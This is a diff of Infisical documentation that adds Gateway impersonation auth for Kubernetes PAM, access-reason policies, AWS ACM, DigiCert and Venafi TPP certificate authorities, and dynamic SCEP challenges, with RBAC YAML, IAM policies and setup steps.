     5. Select the **Gateway** that has access to this cluster
     6. Configure SSL verification options if needed
 
     <Note>
-      **SSL Verification**: You may need to disable SSL verification if your Kubernetes API server uses a self-signed certificate or if the certificate's hostname doesn't match the URL you're using to access it.
+      **SSL Verification**: You may need to disable SSL verification if your Kubernetes API server uses a self-signed certificate or an in-cluster CA. For Gateway auth with `https://kubernetes.default.svc.cluster.local`, disable SSL verification here — the Gateway will use strict TLS with the in-cluster CA certificate during sessions.
     </Note>
   </Step>
 </Steps>
 
-## Create a Service Account
-
-Infisical PAM currently supports service account token authentication for Kubernetes. You'll need to create a service account with appropriate permissions in your cluster.
-
-<Steps>
-  <Step title="Create the Service Account YAML">
-    Create a file named `sa.yaml` with the following content:
-
-    ```yaml sa.yaml
-    apiVersion: v1
-    kind: ServiceAccount
-    metadata:
-      name: infisical-pam-sa
-      namespace: kube-system
-    ---
-    # Bind the ServiceAccount to the desired ClusterRole
-    # This example uses cluster-admin - adjust based on your needs
-    apiVersion: rbac.authorization.k8s.io/v1
-    kind: ClusterRoleBinding
-    metadata:
-      name: infisical-pam-binding
-    subjects:
-      - kind: ServiceAccount
-        name: infisical-pam-sa
-        namespace: kube-system
-    roleRef:
-      kind: ClusterRole
-      name: cluster-admin  # Change this to a more restrictive role as needed
-      apiGroup: rbac.authorization.k8s.io
-    ---
-    # Create a static, non-expiring token for the ServiceAccount
-    apiVersion: v1
-    kind: Secret
-    metadata:
-      name: infisical-pam-sa-token
-      namespace: kube-system
-      annotations:
-        kubernetes.io/service-account.name: infisical-pam-sa
-    type: kubernetes.io/service-account-token
-    ```
-
-    <Warning>
-      **Security Best Practice**: The example above uses `cluster-admin` for simplicity. In production environments, you should create custom ClusterRoles or Roles with the minimum permissions required for each use case.
-    </Warning>
-  </Step>
-
-  <Step title="Apply the Service Account">
-    Apply the configuration to your cluster:
-
-    ```bash
-    kubectl apply -f sa.yaml
-    ```
-
-    This creates:
-    - A ServiceAccount named `infisical-pam-sa` in the `kube-system` namespace
-    - A ClusterRoleBinding that grants the service account its permissions
-    - A Secret containing a static, non-expiring token for the service account
-  </Step>
-
-  <Step title="Retrieve the Service Account Token">
-    Get the service account token that you'll use when creating the PAM account:
-
-    ```bash
-    kubectl -n kube-system get secret infisical-pam-sa-token -o jsonpath='{.data.token}' | base64 -d
-    ```
-
-    Copy this token - you'll need it in the next step.
-  </Step>
-</Steps>
+## Set Up Authentication
+
+Choose one of the two authentication methods below based on your setup.
+
+<Tabs>
+  <Tab title="Service Account Token">
+    Use this method when you have a static service account token, or when the Gateway is not running inside the Kubernetes cluster.
+
+    ### Create a Service Account
+
+    <Steps>
+      <Step title="Create the Service Account YAML">
+        Create a file named `sa.yaml` with the following content:
+
+        ```yaml sa.yaml
+        apiVersion: v1
+        kind: ServiceAccount
+        metadata:
+          name: infisical-pam-sa
+          namespace: kube-system
+        ---
+        # Bind the ServiceAccount to the desired ClusterRole
+        # This example uses cluster-admin - adjust based on your needs
+        apiVersion: rbac.authorization.k8s.io/v1
+        kind: ClusterRoleBinding
+        metadata:
+          name: infisical-pam-binding
+        subjects:
+          - kind: ServiceAccount
+            name: infisical-pam-sa
+            namespace: kube-system
+        roleRef:
+          kind: ClusterRole
+          name: cluster-admin  # Change this to a more restrictive role as needed
+          apiGroup: rbac.authorization.k8s.io
+        ---
+        # Create a static, non-expiring token for the ServiceAccount
+        apiVersion: v1
+        kind: Secret
+        metadata:
+          name: infisical-pam-sa-token
+          namespace: kube-system
+          annotations:
+            kubernetes.io/service-account.name: infisical-pam-sa
+        type: kubernetes.io/service-account-token
+        ```
+
+        <Warning>
+          **Security Best Practice**: The example above uses `cluster-admin` for simplicity. In production environments, you should create custom ClusterRoles or Roles with the minimum permissions required for each use case.
+        </Warning>
+      </Step>
+
+      <Step title="Apply the Service Account">
+        Apply the configuration to your cluster:
+
+        ```bash
+        kubectl apply -f sa.yaml
+        ```
+
+        This creates:
+        - A ServiceAccount named `infisical-pam-sa` in the `kube-system` namespace
+        - A ClusterRoleBinding that grants the service account its permissions
+        - A Secret containing a static, non-expiring token for the service account
+      </Step>
+
+      <Step title="Retrieve the Service Account Token">
+        Get the service account token that you'll use when creating the PAM account:
+
+        ```bash
+        kubectl -n kube-system get secret infisical-pam-sa-token -o jsonpath='{.data.token}' | base64 -d
+        ```
+
+        Copy this token - you'll need it in the next step.
+      </Step>
+    </Steps>
+  </Tab>
+
+  <Tab title="Gateway (Impersonation)">
+    Use this method when the Gateway is deployed **inside the Kubernetes cluster** as a pod. No tokens need to be created or stored — the Gateway uses its own pod identity to impersonate target service accounts.
+
+    <Info>
+      When creating the resource in the step above, use `https://kubernetes.default.svc.cluster.local` as the URL and **disable SSL verification**. The Gateway handles TLS with the correct in-cluster CA automatically during sessions.
+    </Info>
+
+    ### Set Up Impersonation Permissions
+
+    The Gateway's pod service account needs a ClusterRole that allows it to impersonate the target service accounts.
+
+    <Steps>
+      <Step title="Create the Impersonation ClusterRole">
+        Create a file named `gateway-impersonation.yaml`:
+
+        ```yaml gateway-impersonation.yaml
+        apiVersion: rbac.authorization.k8s.io/v1
+        kind: ClusterRole
+        metadata:
+          name: infisical-gateway-impersonator
+        rules:
+          - apiGroups: [""]
+            resources: ["serviceaccounts"]
+            verbs: ["impersonate"]
+            resourceNames:
+              - "deploy-bot"       # Add each SA the gateway should be able to impersonate
+              - "ci-runner"
+          - apiGroups: [""]
+            resources: ["groups"]
+            verbs: ["impersonate"]
+            resourceNames:
+              - "system:serviceaccounts"
+              - "system:serviceaccounts:default"  # Match the namespace(s) of the target SAs
+              - "system:authenticated"
+        ---
+        apiVersion: rbac.authorization.k8s.io/v1
+        kind: ClusterRoleBinding
+        metadata:
+          name: infisical-gateway-impersonator-binding
+        subjects:
+          - kind: ServiceAccount
+            name: <gateway-pod-service-account>  # The Gateway pod's own service account
+            namespace: <gateway-namespace>
+        roleRef:
+          kind: ClusterRole
+          name: infisical-gateway-impersonator
+          apiGroup: rbac.authorization.k8s.io
+        ```
+
+        <Note>
+          **Scoped by `resourceNames`**: The `resourceNames` field limits which service accounts the Gateway can impersonate. If someone creates a PAM account pointing at a service account not in this list, the session will fail with a 403 from Kubernetes. This is how you control which accounts are accessible through Infisical.
+        </Note>
+      </Step>
+
+      <Step title="Apply the ClusterRole">
+        ```bash
+        kubectl apply -f gateway-impersonation.yaml
+        ```
+      </Step>
+
+      <Step title="Ensure target service accounts exist">
+        The service accounts you want to impersonate must already exist in the cluster with their own RBAC permissions. For example:
+
+        ```yaml
+        apiVersion: v1
+        kind: ServiceAccount
+        metadata:
+          name: deploy-bot
+          namespace: default
+        ---
+        apiVersion: rbac.authorization.k8s.io/v1
+        kind: ClusterRoleBinding
+        metadata:
+          name: deploy-bot-binding
+        subjects:
+          - kind: ServiceAccount
+            name: deploy-bot
+            namespace: default
+        roleRef:
+          kind: ClusterRole
+          name: view  # Or whatever permissions this SA should have
+          apiGroup: rbac.authorization.k8s.io
+        ```
+
+        The target SA's own RBAC rules determine what the user can do during the session.
+      </Step>
+    </Steps>
+  </Tab>
+</Tabs>
 
 ## Create PAM Accounts
 
-Once you have configured the PAM resource, you'll need to configure a PAM account for your Kubernetes resource. 
-A PAM Account represents a specific service account that users can request access to. You can create multiple accounts per resource, each with different permission levels.
+Once you have configured the PAM resource and set up authentication, create a PAM account to grant access.
 
 <Steps>
   <Step title="Navigate to Resource">
@@ -173,8 +309,11 @@ A PAM Account represents a specific service account that users can request acces
     Click **Add Account**.
   </Step>
 
-  <Step title="Fill in Account Details">
-    Fill in the account details and paste the service account token you retrieved earlier.
+  <Step title="Select Authentication Method">
+    Choose the authentication method:
+
+    - **Service Account Token** — paste the service account token you retrieved earlier.
+    - **Gateway** — enter the **Service Account Name** and **Namespace** of the Kubernetes service account you want to impersonate. No token is needed.
   </Step>
 </Steps>
 
@@ -185,7 +324,7 @@ Once your resource and accounts are configured, users can request access through
 <Steps>
   <Step title="Get the Access Command">
     1. Navigate to the **Resources** tab in your PAM project and open the Kubernetes resource
-    2. In the resource’s accounts section, find the account you want to access
+    2. In the resource's accounts section, find the account you want to access
     3. Click the **Access** button for that account
     4. Copy the provided CLI command
 
@@ -222,3 +361,36 @@ Once your resource and accounts are configured, users can request access through
     You can view session logs in the **Sessions** page of your PAM project.
   </Step>
 </Steps>
+
+## FAQ
+
+<AccordionGroup>
+  <Accordion title="Which auth method should I use?">
+    - Use **Gateway** if your Gateway is deployed as a pod inside the Kubernetes cluster. No tokens to create or manage — just enter a service account name and namespace.
+    - Use **Service Account Token** if your Gateway runs outside the cluster (e.g., on a separate VM) and only has network access to the Kubernetes API. You'll need to create a service account token and paste it into Infisical.
+  </Accordion>
+
+  <Accordion title="Do I still need to enter a Kubernetes API URL when using Gateway auth?">
+    Yes. The resource URL is still required even when using Gateway auth. For in-cluster gateways, enter `https://kubernetes.default.svc.cluster.local`. The Gateway auto-discovers the actual Kubernetes API address from its pod environment variables, so this URL isn't used for the connection itself — but the field is still required when creating the resource.
+  </Accordion>
+
+  <Accordion title="How does the Gateway find the Kubernetes API server?">
+    When using Gateway auth, the Gateway reads the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT_HTTPS` environment variables that Kubernetes automatically sets in every pod. It ignores the URL configured on the resource and connects directly to the in-cluster API server.
+  </Accordion>
+
+  <Accordion title="Do I need to configure SSL certificates for Gateway auth?">
+    Just disable SSL verification on the resource — the Gateway handles TLS automatically during sessions using the in-cluster CA certificate mounted in its pod. If the CA certificate is missing or invalid, the session will fail rather than falling back to an insecure connection.
+  </Accordion>
+
+  <Accordion title="What happens if the Gateway can't impersonate a service account?">
+    The Kubernetes API server returns a 403 Forbidden error. Kubernetes itself enforces impersonation permissions — if the Gateway's ClusterRole doesn't include the target service account in its `resourceNames` list, the session fails. You don't need to configure any allowlist in Infisical; just update the ClusterRole in your cluster.
+  </Accordion>
+
+  <Accordion title="Can I use both auth methods on the same Kubernetes resource?">
+    Yes. The auth method is configured per account, not per resource. You can have some accounts using Service Account Token and others using Gateway on the same Kubernetes resource.
+  </Accordion>
+
+  <Accordion title="Does the Gateway need to run inside the Kubernetes cluster?">
+    For Gateway auth, yes — the Gateway must be deployed as a pod inside the cluster so it can read its own service account token and reach the Kubernetes API. For Service Account Token auth, the Gateway just needs network access to the Kubernetes API server and can run anywhere.
+  </Accordion>
+</AccordionGroup>
diff --git a/docs/documentation/platform/pam/product-reference/account-policies.mdx b/docs/documentation/platform/pam/product-reference/account-policies.mdx
index 8333f2f86b2..5baf51880ab 100644
--- a/docs/documentation/platform/pam/product-reference/account-policies.mdx
+++ b/docs/documentation/platform/pam/product-reference/account-policies.mdx
@@ -14,6 +14,7 @@ An account policy is a named, project-scoped configuration that contains one or
 |---|---|---|
 | **Command Blocking** | Prevents execution of commands matching specified regex patterns. | SSH |
 | **Session Log Masking** | Redacts data matching specified regex patterns from session logs. | All resource types |
+| **Require Access Reason** | Requires the user to provide a reason before a session can start. The reason is stored for audit. | All resource types |
 
 A policy can be **active** or **inactive**. Only active policies are enforced during sessions.
 
@@ -34,6 +35,7 @@ Navigate to your PAM project sidebar and click **Account Policies**, then click
 
     - **Command Blocking**: Add one or more regex patterns. Commands matching any of these patterns will be blocked during SSH sessions.
     - **Session Log Masking**: Add one or more regex patterns. Any data matching these patterns will be redacted in session logs.
+    - **Require Access Reason**: Forces the user to provide a non-empty reason before they can start a session. When the rule is active, the CLI prompts for a reason (or accepts the `--reason` flag) and the browser shows a Reason Required screen before the session is created.
 
     For each rule, click the **+** button to add additional patterns.
 
@@ -87,6 +89,12 @@ Patterns use standard regular expression syntax. Some examples:
   Patterns are matched as regular expressions against the full command (for command blocking) or session log content (for session log masking). Test your patterns carefully to avoid overly broad matches.
 </Info>
 
+<Note>
+  Command blocking helps prevent unintended or careless commands from reaching the target, adding a guardrail in front of systems where direct controls on the target resource aren't available.
+
+  Because matches are evaluated with regular expressions, patterns need to cover the different ways a command might be typed, and exhaustive coverage of every variation is difficult to guarantee in practice. It is highly recommended to pair command blocking with target-side controls like restricted shells or `sudoers` rules where those are available.
+</Note>
+
 ## FAQ
 
 <AccordionGroup>
diff --git a/docs/documentation/platform/pki/ca/aws-acm-public-ca.mdx b/docs/documentation/platform/pki/ca/aws-acm-public-ca.mdx
new file mode 100644
index 00000000000..d9f2ae91608
--- /dev/null
+++ b/docs/documentation/platform/pki/ca/aws-acm-public-ca.mdx
@@ -0,0 +1,174 @@
+---
+title: "AWS ACM Public CA"
+description: "Issue and manage publicly-trusted certificates using AWS Certificate Manager (ACM) with Infisical."
+---
+
+## Overview
+
+Infisical integrates with AWS Certificate Manager (ACM) to issue **public certificates** signed by [Amazon Trust Services](https://www.amazontrust.com/repository/). These certificates are trusted by all major browsers and operating systems out of the box, so they can be used on the public internet without users having to install anything.
+
+Common use cases include securing public-facing websites and APIs, terminating TLS on internet-facing load balancers, and issuing certificates for SaaS applications exposed to external users.
+
+Each certificate has a fixed 198-day validity and is generated and stored by AWS. Infisical orchestrates the full lifecycle on top: domain validation via Route 53, saving the certificate and private key into Infisical, scheduled auto-renewal, and revocation.
+
+<Note>
+  Domain validation is performed exclusively through **Amazon Route 53**. Other DNS providers are not supported for this CA type.
+</Note>
+
+## Prerequisites
+
+- Two [AWS App Connections](/integrations/app-connections/aws): one for ACM, one for Route 53. They can be the same connection if it has permissions for both services.
+- A Route 53 **public** hosted zone for the domains you will issue certificates for.
+
+### IAM Permissions
+
+**ACM connection** — needs the following on certificates in your account:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Action": [
+        "acm:RequestCertificate",
+        "acm:DescribeCertificate",
+        "acm:ExportCertificate",
+        "acm:RenewCertificate",
+        "acm:RevokeCertificate",
+        "acm:ListCertificates"
+      ],
+      "Resource": "*"
+    }
+  ]
+}
+```
+
+<Note>
+  `RequestCertificate` cannot be scoped below `"*"` because the certificate ARN does not exist until after the call succeeds.
+</Note>
+
+**Route 53 connection** — needs the following on your hosted zone so Infisical can write the ACM validation CNAME records:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Action": [
+        "route53:GetHostedZone",
+        "route53:ChangeResourceRecordSets"
+      ],
+      "Resource": "arn:aws:route53:::hostedzone/YOUR_HOSTED_ZONE_ID"
+    }
+  ]
+}
+```
+
+## Setup
+
+<Steps>
+  <Step title="Copy Your Route 53 Hosted Zone ID">
+    In the AWS Console, navigate to **Route 53 → Hosted zones** and select the public hosted zone for the domain(s) you will issue certificates for. Copy the **Hosted Zone ID** from the details panel.
+    ![Copy Hosted Zone ID](/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-copy-hosted-zone-id.png)
+  </Step>
+
+  <Step title="Navigate to External Certificate Authorities">
+    In your Infisical project, go to **Certificate Authorities** and scroll to the **External Certificate Authorities** section.
+    ![External CA Page](/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-page.png)
+  </Step>
+
+  <Step title="Create the CA">
+    Click **Create CA** and configure:
+    - **CA Type**: **AWS ACM Public CA**
+    - **Name**: lowercase letters, numbers, and hyphens
+    - **AWS Connection**: the connection with ACM permissions
+    - **Route 53 Connection**: the connection with Route 53 permissions (can be the same as above)
+    - **Hosted Zone ID**: the Route 53 public hosted zone ID from the previous step
+    - **Region**: the ACM region to issue from
+
+    ![External CA Form](/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-form.png)
+  </Step>
+
+  <Step title="Create a Certificate Profile and Issue">
+    Create a certificate profile linked to this CA, then submit a certificate request. Infisical requests the certificate from ACM, writes the required CNAME(s) to Route 53, waits for ACM to finish validation, and saves the certificate and private key.
+    ![Certificate Created](/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-certificate-created.png)
+  </Step>
+</Steps>
+
+## Auto-Renewal
+
+ACM certificates expire after 198 days. There are two renewal paths that both end up producing a fresh certificate in Infisical.
+
+### AWS managed renewal
+
+AWS attempts to automatically renew ACM public certificates 45 days before expiry. This is [ACM managed renewal](https://docs.aws.amazon.com/acm/latest/userguide/managed-renewal.html) and happens on AWS's schedule, independent of Infisical. When it succeeds, AWS issues a new certificate body and private key under the **same ARN** but with a new serial number.
+
+The catch: AWS only updates the copy held inside ACM. The copy saved in Infisical still holds the old material until something pulls the new version out.
+
+### Infisical auto-renewal
+
+To keep the copy stored in Infisical in sync with AWS, enable auto-renewal on the certificate profile when you create or edit it:
+
+- **Auto-renew**: enabled
+- **Renew before days**: how many days before expiry renewal should fire (1–30 days)
+
+Every certificate issued through that profile inherits these values. You can also override them on an individual certificate from **Certificates → Manage Renewal**.
+
+When a certificate reaches the configured threshold, Infisical reconciles it with AWS:
+
+- If AWS has **already renewed** the certificate on its own, Infisical pulls in the new certificate and private key.
+- If AWS has **not yet renewed**, Infisical triggers renewal, waits for ACM to finish re-issuance, then saves the new material.
+
+In both cases the renewed certificate is stored as a new entry linked to the original and inherits the same auto-renewal settings — so the cycle continues automatically.
+
+<Note>
+  AWS generates a fresh private key on every renewal. Infisical pulls it in each time and stores it encrypted with your project's KMS key.
+</Note>
+
+## Troubleshooting
+
+**`Failed to reach AWS Certificate Manager`** — the ACM connection credentials are invalid or missing the IAM permissions above.
+
+**`Failed to access Route 53 hosted zone`** — the Route 53 connection cannot read the hosted zone, or the Hosted Zone ID is wrong. Check `route53:GetHostedZone` and that the zone is public.
+
+**Request stays pending** — DNS validation can take several minutes. Infisical retries automatically. Verify the CNAME records exist in Route 53 and that the hosted zone is authoritative for the requested domain.
+
+**Renewal appears stuck** — immediately after renewal is triggered, ACM may not yet have the new certificate available. Infisical treats this as transient and retries until a new serial number appears on the ARN.
+
+## FAQ
+
+<AccordionGroup>
+  <Accordion title="What's the certificate validity period? Can I change it?">
+    AWS issues every ACM public certificate with a fixed 198-day validity.
+  </Accordion>
+
+  <Accordion title="Which DNS providers are supported for domain validation?">
+    Only Amazon Route 53. Infisical writes the required CNAMEs through your Route 53 connection.
+  </Accordion>
+
+  <Accordion title="Can I provide my own CSR or private key?">
+    No. ACM generates the key pair itself. Infisical pulls the certificate and private key from ACM and stores them encrypted.
+  </Accordion>
+
+  <Accordion title="Which key algorithms are supported?">
+    `RSA_2048`, `EC_prime256v1` (ECDSA P-256), and `EC_secp384r1` (ECDSA P-384).
+  </Accordion>
+
+  <Accordion title="Can I set subject fields like Organization or Country?">
+    No. ACM does not accept subject fields beyond the common name (O, OU, C, ST, L are ignored).
+  </Accordion>
+
+  <Accordion title="Can I customize key usages or extended key usages?">
+    No. ACM applies its own policy on every issued certificate.
+  </Accordion>
+
+  <Accordion title="Which enrollment methods are supported?">
+    Certificate profiles backed by AWS ACM Public CA support only **API** enrollment. EST, SCEP, and ACME rely on submitting a CSR for the CA to sign, but ACM generates the private key itself and does not accept a CSR.
+  </Accordion>
+
+  <Accordion title="Can I issue a CA / intermediate certificate?">
+    No. ACM Public CA only issues end-entity (leaf) certificates.
+  </Accordion>
+</AccordionGroup>
diff --git a/docs/documentation/platform/pki/ca/digicert-direct.mdx b/docs/documentation/platform/pki/ca/digicert-direct.mdx
new file mode 100644
index 00000000000..3f36b770189
--- /dev/null
+++ b/docs/documentation/platform/pki/ca/digicert-direct.mdx
@@ -0,0 +1,74 @@
+---
+title: "DigiCert (CertCentral Services API)"
+description: "Issue OV/EV certificates from DigiCert using the CertCentral Services API with manual DNS validation."
+---
+
+## Concept
+
+Infisical can issue OV and EV TLS certificates directly from [DigiCert CertCentral](https://www.digicert.com/) using the [CertCentral Services API](https://dev.digicert.com/en/certcentral-apis/services-api.html).
+
+## Prerequisites
+
+- A [DigiCert App Connection](/integrations/app-connections/digicert) with a validated CertCentral API key.
+- A CertCentral **Organization** that has been pre-validated by DigiCert
+- Entitlement to either the OV or EV SSL product on your CertCentral account.
+
+## Create a DigiCert Certificate Authority
+
+<Tabs>
+  <Tab title="Infisical UI">
+    <Steps>
+      <Step title="Create a DigiCert App Connection">
+        Follow the [DigiCert App Connection guide](/integrations/app-connections/digicert) to store your CertCentral API key in Infisical.
+      </Step>
+      <Step title="Create the External CA">
+        In your Certificate Manager project, navigate to **Certificate Authorities**, click **Create CA** in the External Certificate Authorities section, choose **DigiCert CertCentral** as the type, and fill out the form:
+
+        - **App Connection** — the DigiCert connection you created
+        - **Organization** — the CertCentral organization that should appear on issued certificates
+        - **Product** — the CertCentral entitlement this CA will issue under
+
+        ![DigiCert External CA Form](/images/platform/pki/digicert/digicert-external-ca-form.png)
+      </Step>
+    </Steps>
+  </Tab>
+  <Tab title="API">
+    To create a DigiCert Certificate Authority, make an API request to the [Create DigiCert CA](/api-reference/endpoints/certificate-authorities/digicert/create) API endpoint.
+
+    ```bash Create a DigiCert CA
+    curl --request POST \
+      --url https://app.infisical.com/api/v1/pki/ca/digicert \
+      --header 'Content-Type: application/json' \
+      --data '{
+        "projectId": "<project-id>",
+        "name": "digicert-ov",
+        "status": "active",
+        "configuration": {
+          "appConnectionId": "<digicert-app-connection-id>",
+          "organizationId": 112236,
+          "productNameId": "ssl_plus"
+        }
+      }'
+    ```
+  </Tab>
+</Tabs>
+
+## Issue a certificate
+
+After creating the CA and a Certificate Profile, request a certificate as you normally would. The request will move through the following states:
+
+1. **Pending Validation**: DigiCert has accepted the order. Complete the domain control validation directly in DigiCert CertCentral.
+2. Your team completes validation on the CertCentral side.
+3. Infisical re-checks DigiCert. If you don't want to wait, click **Trigger Validation** on the request row to force an immediate check. When DigiCert confirms the order, Infisical downloads the certificate and chain and moves the request to **Issued**.
+4. If DigiCert does not issue within 24 hours the request transitions to **Failed**. Complete validation on CertCentral and submit a new request.
+
+## FAQ
+
+<AccordionGroup>
+  <Accordion title="What happens when I revoke a DigiCert-issued certificate in Infisical?">
+    Revoking the certificate in Infisical immediately marks it `Revoked` in the local inventory
+    **and** submits a revocation request to DigiCert CertCentral against the underlying order.
+    Depending on your CertCentral account's revocation policy, DigiCert may queue that request for
+    administrator approval before the certificate is actually revoked on their side.
+  </Accordion>
+</AccordionGroup>
diff --git a/docs/documentation/platform/pki/ca/venafi-tpp.mdx b/docs/documentation/platform/pki/ca/venafi-tpp.mdx
new file mode 100644
index 00000000000..9761d1fb7b8
--- /dev/null
+++ b/docs/documentation/platform/pki/ca/venafi-tpp.mdx
@@ -0,0 +1,79 @@
+---
+title: "Venafi TPP"
+description: "Learn how to issue and manage certificates using a self-hosted Venafi Trust Protection Platform (TPP) instance with Infisical."
+---
+
+Issue and manage certificates using a self-hosted Venafi Trust Protection Platform (TPP) instance as an external CA, with support for airgapped environments via Infisical Gateway.
+
+## Prerequisites
+
+- A [Venafi TPP Connection](/integrations/app-connections/venafi-tpp) configured in your organization
+- A policy folder in your TPP instance configured with an appropriate CA template
+- Network connectivity from Infisical (or an Infisical Gateway) to the TPP server
+
+## Setting Up Venafi TPP as an External CA
+
+<Steps>
+  <Step title="Navigate to External Certificate Authorities">
+    In your Infisical project, go to your **Certificate Project** > **Certificate Authority** to access the external CAs page.
+    ![External CA Page](/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-page.png)
+  </Step>
+  <Step title="Create New Venafi TPP CA">
+    Click **Create CA** and configure:
+
+    - **Type**: Choose **Venafi TPP**
+    - **Name**: A friendly name for this CA (e.g., "Production TPP CA")
+    - **Status**: Set to **Active** to enable certificate issuance
+    - **Venafi TPP Connection**: Select your TPP connection from the dropdown
+    - **Policy DN**: The policy folder path in TPP where certificates will be managed (e.g., `\VED\Policy\Certificates\WebServers`)
+
+    ![External CA Form](/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-form.png)
+
+    <Note>
+      The Policy DN must point to an existing policy folder in your TPP instance. The policy folder
+      determines which CA template is used for signing, what subject fields are allowed, and other
+      certificate constraints. Make sure the policy folder is configured to allow certificate requests
+      from the credentials used in your TPP connection.
+    </Note>
+  </Step>
+  <Step title="Certificate Authority Created">
+    Your Venafi TPP CA is now ready. You can use it with certificate profiles to issue certificates.
+    ![External CA Created](/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-created.png)
+  </Step>
+</Steps>
+
+## Issuing Certificates
+
+Once your Venafi TPP CA is set up, you issue certificates through **Certificate Profiles**:
+
+<Steps>
+  <Step title="Create a Certificate Profile">
+    Go to **Policies** > **Certificate Profiles** and create a new profile:
+
+    - Set the **Issuing CA** to your Venafi TPP CA
+    - Configure the **Enrollment Method** as **API**
+    - Set default certificate attributes (common name, SANs, key algorithm, TTL, etc.)
+
+    ![Create Profile](/images/platform/pki/certificate/cert-profile-modal.png)
+  </Step>
+  <Step title="Issue a Certificate">
+    Go to **Certificates** and click **Issue Certificate**:
+
+    - Select the profile linked to your Venafi TPP CA
+    - Fill in the certificate details (common name, SANs, TTL)
+    - Click **Issue**
+
+    ![Issue Certificate](/images/platform/pki/certificate/cert-issue-modal.png)
+
+    The certificate request is submitted to TPP asynchronously. Infisical will authenticate with TPP, submit the CSR to the configured policy folder, and retrieve the signed certificate.
+
+    <Note>
+      Certificate issuance is asynchronous. Infisical will poll TPP for the signed certificate for
+      up to ~5 minutes. Ensure your TPP policy folder is configured for automatic approval.
+    </Note>
+  </Step>
+  <Step title="Certificate Issued">
+    Your certificate has been issued by the TPP server and is ready for use.
+    ![Certificate Created](/images/platform/pki/venafi-tpp/venafi-tpp-certificate-created.png)
+  </Step>
+</Steps>
diff --git a/docs/documentation/platform/pki/discovery/network.mdx b/docs/documentation/platform/pki/discovery/network.mdx
index 44aba032d4c..247361e15ac 100644
--- a/docs/documentation/platform/pki/discovery/network.mdx
+++ b/docs/documentation/platform/pki/discovery/network.mdx
@@ -5,6 +5,10 @@ description: "Learn how to configure a Network discovery job to find certificate
 
 Network discovery scans network endpoints over TLS to discover certificates served by hosts across IP ranges and domains. Optionally, you can use an [Infisical Gateway](/documentation/platform/gateways/overview) to reach endpoints in private networks that are not accessible from the internet.
 
+<Note>
+  If you are self-hosting Infisical, you can alternatively set the [`ALLOW_INTERNAL_IP_CONNECTIONS`](/self-hosting/configuration/envars#param-allow-internal-ip-connections) environment variable to `true` on your instance to scan private networks directly without a gateway.
+</Note>
+
 <Tabs>
   <Tab title="Infisical UI">
     1. Navigate to your Certificate Management Project > **Discovery** and press **Add Job**.
diff --git a/docs/documentation/platform/pki/enrollment-methods/scep.mdx b/docs/documentation/platform/pki/enrollment-methods/scep.mdx
index ba27c3aac56..662c08b6c02 100644
--- a/docs/documentation/platform/pki/enrollment-methods/scep.mdx
+++ b/docs/documentation/platform/pki/enrollment-methods/scep.mdx
@@ -27,6 +27,43 @@ For self-hosted Infisical instances, replace `app.infisical.com` with your insta
 - A SCEP-compatible client (e.g., [sscep](https://github.com/certnanny/sscep)) or a network device with built-in SCEP support.
 - A certificate profile with a **CA-issued** issuer type.
 
+## Challenge Types
+
+Infisical supports two challenge authentication modes for SCEP enrollment:
+
+<Tabs>
+  <Tab title="Static Challenge">
+    A single shared secret password is configured on the certificate profile. All SCEP clients must include this password in their certificate signing request (CSR) to authenticate.
+
+    This is the simplest option and works well when the same challenge password is acceptable for all devices enrolling through the profile.
+
+    - The challenge password must be at least 8 characters.
+    - The password is hashed before storage and cannot be retrieved after creation.
+  </Tab>
+  <Tab title="Dynamic Challenge">
+    One-time-use challenge passwords are generated on demand via an authenticated API endpoint. Each challenge can only be used once and expires after a configurable time period.
+
+    This mode is designed for MDM tools like **Jamf Pro** that support fetching a challenge from an external webhook before delivering the SCEP profile to a device.
+
+    When dynamic challenges are enabled, Infisical exposes a challenge endpoint at:
+
+    ```
+    https://app.infisical.com/scep/{profile_id}/challenge
+    ```
+
+    The endpoint accepts authenticated `POST` requests and returns a plain-text one-time challenge password. The caller must authenticate using a [Machine Identity](/documentation/platform/identities/machine-identities) access token.
+
+    The following settings are part of the certificate profile configuration and apply to all challenges generated for this profile:
+
+    - **Challenge Expiry (minutes)**: How long each generated challenge remains valid before expiring. Default: 60 minutes. Maximum: 1440 minutes (24 hours).
+    - **Max Pending Challenges**: Maximum number of unused challenges that can exist at once. Default: 100. Maximum: 1000.
+
+    <Note>
+      Dynamic challenges are consumed on first use. Once a device successfully enrolls with a challenge, that challenge cannot be reused. Expired and used challenges are automatically cleaned up.
+    </Note>
+  </Tab>
+</Tabs>
+
 ## Guide to Certificate Enrollment via SCEP
 
 In the following steps, we walk through how to issue an X.509 certificate using the SCEP enrollment method.
@@ -37,7 +74,10 @@ In the following steps, we walk through how to issue an X.509 certificate using
 
     Here's some guidance on each SCEP-specific configuration field:
 
-    - **Challenge Password**: A shared secret that SCEP clients must include in their certificate signing request (CSR) to authenticate with Infisical's SCEP server. Must be at least 8 characters.
+    - **Challenge Type**: Select **Static** for a shared password or **Dynamic** for one-time-use challenges generated via API. See [Challenge Types](#challenge-types) above.
+    - **Challenge Password** (static only): A shared secret that SCEP clients must include in their certificate signing request (CSR) to authenticate with Infisical's SCEP server. Must be at least 8 characters.
+    - **Challenge Expiry** (dynamic only): How long each generated challenge remains valid, in minutes.
+    - **Max Pending Challenges** (dynamic only): Maximum number of unused challenges that can exist at once.
     - **Include CA Cert in Response**: When enabled, the CA certificate chain is included alongside the RA certificate in the GetCACert response. Most SCEP clients expect this to be enabled (default: enabled).
     - **Allow Certificate-Based Renewal**: When enabled, devices that already hold a valid certificate issued by the same CA can renew their certificate without providing the challenge password (default: enabled).
 
@@ -53,79 +93,114 @@ In the following steps, we walk through how to issue an X.509 certificate using
 
     Where `{profile_id}` is the UUID of the certificate profile. This is the URL you provide to your SCEP clients as the SCEP server URL.
 
+    For profiles with **dynamic challenges** enabled, you will also see a **Challenge Endpoint URL**:
+
+    ```
+    https://app.infisical.com/scep/{profile_id}/challenge
+    ```
+
+    This is the URL your MDM tool or automation calls to generate one-time challenge passwords.
+
   </Step>
